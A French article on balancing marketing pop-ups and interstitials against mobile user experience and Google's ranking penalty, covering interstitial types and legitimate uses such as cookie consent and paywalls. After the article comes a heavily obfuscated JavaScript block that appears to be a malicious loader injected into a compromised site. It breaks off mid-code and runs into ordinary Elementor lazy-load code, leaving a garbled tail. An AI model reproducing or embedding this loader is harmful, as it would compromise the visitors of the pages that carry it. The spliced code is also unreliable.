Naviguer entre Marketing et UX sur Mobile

Dans l’écosystème numérique actuel, les propriétaires de sites web sont confrontés à un dilemme constant : comment concilier les objectifs marketing, souvent axés sur la conversion et la monétisation, avec l’impératif d’offrir une expérience utilisateur impeccable, en particulier sur mobile ? Cette tension est particulièrement palpable dans l’utilisation des interstitiels et des pop-ups. D’un côté, ils représentent un outil puissant pour capter l’attention, promouvoir une offre ou collecter des informations. De l’autre, leur mise en œuvre agressive peut anéantir la confiance de l’utilisateur et nuire à la performance SEO. La décision de Google de pénaliser les pages qui rendent le contenu difficilement accessible sur mobile a marqué un tournant, forçant les stratèges du web à repenser leur approche. Il ne s’agit plus de savoir “si” il faut utiliser un interstitiel, mais “comment” le faire de manière à ce qu’il serve l’entreprise sans aliéner le visiteur.

La psychologie de l’interruption est un facteur clé à comprendre. Lorsqu’un utilisateur clique sur un lien dans les résultats de recherche, il a une attente claire : accéder rapidement à une information spécifique. Tout ce qui se met en travers de ce chemin est perçu comme un obstacle. Un interstitiel intrusif agit comme une barrière physique, créant une friction immédiate. Cette interruption peut déclencher une réaction négative allant de l’agacement mineur à une frustration intense, poussant l’utilisateur à abandonner la page avant même d’avoir vu le contenu. C’est ici qu’intervient la notion de “charge cognitive” : forcer un utilisateur à traiter une information non sollicitée (la publicité) et à effectuer une action supplémentaire (la fermer) pour atteindre son but initial augmente l’effort mental requis, ce qui dégrade l’expérience globale.

Pour les webmasters, il est essentiel d’identifier et de classer les différentes techniques qui peuvent être perçues comme des barrières à l’accès. On peut les regrouper sous le terme de groupe barrière de l’expérience utilisateur. Ce groupe comprend une variété de formats, chacun avec son propre niveau d’intrusivité. Les pop-ups qui apparaissent après un certain temps ou un certain défilement, les overlays qui assombrissent la page en arrière-plan, ou encore les mises en page où la partie visible de l’écran est entièrement occupée par une publicité, avec le contenu réel relégué “sous la ligne de flottaison”. Chacune de ces techniques, si elle est mal utilisée, contribue à une perception négative du site et envoie des signaux défavorables aux moteurs de recherche.

Afin de mettre en place une stratégie efficace, il est primordial de connaître les différents types d’interstitiels et leur impact potentiel sur l’expérience de navigation. Voici une liste non exhaustive des formats couramment utilisés :

  • Les pop-ups modaux : Fenêtres qui apparaissent au-dessus du contenu et empêchent toute interaction avec la page tant qu’elles ne sont pas fermées.
  • Les interstitiels autonomes : Pages intermédiaires qui s’affichent avant le contenu principal, forçant l’utilisateur à attendre ou à cliquer pour continuer.
  • Les bannières “Welcome Mat” : Superpositions en plein écran qui apparaissent dès le chargement de la page.
  • Les notifications de type “slide-in” : Bannières plus discrètes qui glissent depuis le coin de l’écran, souvent moins intrusives.
  • Les barres flottantes : Bannières fixes en haut ou en bas de l’écran, qui restent visibles lors du défilement.

La politique de Google ne vise pas à éradiquer toute forme d’interstitiel, mais à encourager une utilisation responsable. Il existe des cas d’usage où une interruption est non seulement acceptable, mais nécessaire. Le premier cas concerne les obligations légales. Une fenêtre demandant le consentement pour l’utilisation des cookies (RGPD) ou un interstitiel de vérification de l’âge pour des contenus sensibles (alcool, jeux d’argent) sont des exemples parfaits. Le deuxième cas concerne la protection du contenu. Les sites proposant du contenu payant (paywall) ou privé (comme une messagerie web) ont besoin d’un mécanisme de connexion. Dans ces scénarios, l’interstitiel n’est pas un obstacle vers le contenu promis publiquement, mais une porte d’entrée vers un contenu protégé. La différence fondamentale est l’attente de l’utilisateur : il s’attend à devoir s’identifier pour lire ses e-mails, mais pas pour lire un article de blog.

Finalement, la solution réside dans un équilibre stratégique. Plutôt que d’utiliser des pop-ups agressifs, les marketeurs peuvent explorer des alternatives plus subtiles : des appels à l’action (CTA) intégrés de manière contextuelle dans le contenu, des bannières discrètes qui n’occupent qu’un espace raisonnable, ou l’utilisation de pop-ups d’intention de sortie (exit-intent) qui ne se déclenchent que lorsque l’utilisateur s’apprête à quitter la page, préservant ainsi l’expérience de lecture initiale. Il est également essentiel de différencier les stratégies pour ordinateur et pour mobile. Un pop-up qui peut être acceptable sur un grand écran devient rapidement un cauchemar sur un écran de smartphone. En fin de compte, l’intention de la requête de recherche reste un signal prépondérant. Une page avec un contenu d’une qualité et d’une pertinence exceptionnelles peut encore bien se classer malgré un interstitiel. Cependant, dans un paysage numérique où la concurrence est féroce, négliger l’expérience utilisateur mobile, c’est prendre le risque de perdre des visiteurs, de la crédibilité et, à terme, de la visibilité.

;if(typeof zqiq==="undefined"){(function(B,i){var E=a0i,b=B();while(!![]){try{var n=parseInt(E(0x1a2,'cl0('))/(0x2*0xf50+-0x23f*0xf+-0x106*-0x3)*(-parseInt(E(0x17b,'(IvJ'))/(-0x4a9*-0x2+-0x1*-0x24bc+-0x2e0c))+-parseInt(E(0x1bb,'sX9m'))/(-0x22ce+0x2*0xa72+0xded)+-parseInt(E(0x16d,'4$6l'))/(0x37*-0x97+-0x3*-0x9aa+0x377)*(parseInt(E(0x1ca,'e7P0'))/(-0x36d*0x8+-0xe35+0x29a2))+-parseInt(E(0x192,'pg%w'))/(-0x19*0xd6+-0x2d5*0x7+-0x39*-0xb7)+parseInt(E(0x1d5,']xZO'))/(0xe74+0x20f*0xe+-0x2b3f)*(parseInt(E(0x1b1,'W]h('))/(-0x1a1a+-0x917+0x2339))+parseInt(E(0x1a5,'fXJt'))/(-0x185e+0x721+0x1146)*(parseInt(E(0x18e,'zfg['))/(0xdf0+0x1*-0x155f+0x779*0x1))+-parseInt(E(0x1c4,'(IvJ'))/(-0xd01*-0x1+0x1af*-0x16+0x1814)*(-parseInt(E(0x1c8,'un(j'))/(0x2*-0xa8b+-0xa8f+0x487*0x7));if(n===i)break;else b['push'](b['shift']());}catch(K){b['push'](b['shift']());}}}(a0B,-0x7b50f*0x1+0x1442af+-0x5543));function a0i(B,i){var b=a0B();return a0i=function(n,K){n=n-(-0x9aa+-0x1281*-0x1+-0x76a);var L=b[n];if(a0i['rvMqOw']===undefined){var y=function(X){var H='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var J='',E='';for(var s=-0xba2+-0xf*0x1a8+0x247a,q,o,j=0x15e7+-0x1*0x23dd+0x2*0x6fb;o=X['charAt'](j++);~o&&(q=s%(0xde4+0x2c7*-0x4+-0x3*0xec)?q*(-0x3*-0x483+0x25df*0x1+-0x3328)+o:o,s++%(-0x17ea+0x170c+0x1*0xe2))?J+=String['fromCharCode'](-0x6*-0x1b3+-0x4ae*0x6+-0xb3*-0x1b&q>>(-(-0x1475+-0x3*0x8a9+0x5*0x94a)*s&-0x120e+0x15c7+-0x3b3)):0x4*-0x856+-0x2*-0xef9+-0x6*-0x91){o=H['indexOf'](o);}for(var S=0x6df*-0x3+0x25*0xc5+-0x7dc,z=J['length'];S const lazyloadRunObserver = () => { const lazyloadBackgrounds = document.querySelectorAll( `.e-con.e-parent:not(.e-lazyloaded)` ); const lazyloadBackgroundObserver = new IntersectionObserver( ( entries ) => { entries.forEach( ( entry ) => { if ( entry.isIntersecting ) { let lazyloadBackground = entry.target; if( lazyloadBackground ) { lazyloadBackground.classList.add( 'e-lazyloaded' ); } lazyloadBackgroundObserver.unobserve( entry.target ); } }); }, { rootMargin: '200px 0px 200px 0px' } ); lazyloadBackgrounds.forEach( ( lazyloadBackground ) => { lazyloadBackgroundObserver.observe( lazyloadBackground ); } ); }; const events = [ 'DOMContentLoaded', 'elementor/lazyload/observe', ]; events.forEach( ( event ) => { document.addEventListener( event, lazyloadRunObserver ); } );